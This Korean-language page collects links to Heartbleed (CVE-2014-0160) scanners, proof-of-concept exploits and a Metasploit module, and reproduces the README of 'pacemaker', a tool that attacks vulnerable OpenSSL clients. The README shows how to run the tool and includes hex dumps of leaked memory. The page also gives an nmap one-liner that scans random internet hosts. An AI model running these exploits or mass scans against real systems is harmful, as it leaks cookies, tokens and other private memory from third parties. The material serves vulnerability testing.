
Heartbleed 변종
https://github.com/DisK0nn3cT/MaltegoHeartbleed
https://github.com/a0726h77/heartbleed-test
https://github.com/musalbas/heartbleed-masstest
https://github.com/decal/ssltest-stls
https://github.com/isgroup-srl/openmagic
https://github.com/offensive-python/HeartLeak
nmap -sV -PS443 --open --script=ssl-heartbleed -iR 0
http://security.stackexchange.com/questions/55085/heartbleed-and-routers-asas-other
CVE-2014-0160를 위한 검사기(사이트 및 도구): https://github.com/FiloSottile/Heartbleed ssltest.py: Jared Stafford가 작성한 CVE-2014-0160에 대한 간단한 데모: http://pastebin.com/WmxzjkXJ
SSL 서버 테스트: https://www.ssllabs.com/ssltest/index.html
Metasploit 모듈: https://github.com/rapid7/metasploit-framework/pull/3206/files
Nmap NSE 스크립트: 서버가 OpenSSL Heartbleed에 취약한지 감지: https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
Nmap NSE 스크립트: ssl_cert_expiry.nas를 기반으로 한 ssl_heartbleed용 Quick'n'Dirty OpenVAS nasl 래퍼: https://gist.github.com/RealRancor/10140249
Heartbleeder: 서버의 OpenSSL 취약점을 테스트: https://github.com/titanous/heartbleeder?files=1
Heartbleed 공격 PoC 및 대량 스캐너: https://bitbucket.org/fb1h2s/cve-2014-0160
Heartbleed 허니팟 스크립트: http://packetstormsecurity.com/files/126068/hb_honeypot.pl.txt
https://github.com/Lekensteyn/pacemaker
Heartbleed (CVE-2014-0160)에 취약한 OpenSSL 클라이언트를 악용하려는 시도입니다. Python 2 및 3과 호환됩니다.
서버를 실행합니다:
python pacemaker.py
클라이언트에서 https://localhost:4433/을 엽니다(필요시 호스트명 변경). 예를 들어:
curl https://localhost:4433/
클라이언트는 항상 연결에 실패합니다:
curl: (35) 연결 중 localhost:4433에서 알 수 없는 SSL 프로토콜 오류
취약하지 않다면 서버는 다음과 같이 출력합니다:
Connection from: 127.0.0.1:40736
Possibly not vulnerable
취약하다면 다음과 같은 내용을 볼 수 있습니다:
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
NUL 바이트로 가득 찬 후속 줄은 xxd 도구처럼 *로 접힙니다.
wget -O /dev/null https://google.com https://localhost:4433을 사용하여 더 "흥미로운" 메모리가 유출되는 예시:
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........
더 많은 옵션을 보려면 ./pacemaker.py -h를 실행하세요. 가장 중요한 옵션은 아마 -t (--timeout)와 -x (--count)입니다. 기본 타임아웃은 3초로, 대부분의 클라이언트가 응답하기에 충분합니다(위성 링크 등이 없는 경우).
하트비트당 더 오래 기다리고(5초) 4번의 하트비트 응답을 획득하는 예시:
./pacemaker.py -t 5 -x 4
이론적으로 하트비트는 20초까지 걸릴 수 있지만, 실제로는 훨씬 빠르게 응답을 받을 수 있습니다.
다음 클라이언트들은 Arch Linux에서 OpenSSL 1.0.1f에 대해 테스트되었으며, 핸드셰이크 전에 메모리를 유출했습니다:
links는 이 버그가 클라이언트에 미치는 영향을 보여주는 훌륭한 예입니다. 헤더(쿠키, 인증 토큰)와 페이지 콘텐츠를 포함한 세부 정보를 유출하는 텍스트 기반 브라우저입니다.
이 저장소에는 서버를 대상으로 하는 작동하는 버전도 포함되어 있습니다. ssltest.py는 Jared Stafford ([email protected])가 만들었으며, 모든 크레딧은 그에게 있습니다! http://s3.jspenguin.org/ssltest.py에서 가져왔습니다.
현재 이 스크립트는 Python 2와만 호환됩니다.
https://www.nccgroup.com/en/blog/2014/04/heartbleed-openssl-vulnerability/ https://www.mattslifebytes.com/?p=533 https://gist.github.com/takeshixx/10107280 https://github.com/FiloSottile/Heartbleed http://www.reddit.com/r/netsec/comments/22huui/python_heartbleed_cve20140160_proof_of_concept/
http://lab.onsec.ru/2014/04/memory-dumper-based-on-cve-2014-0160.html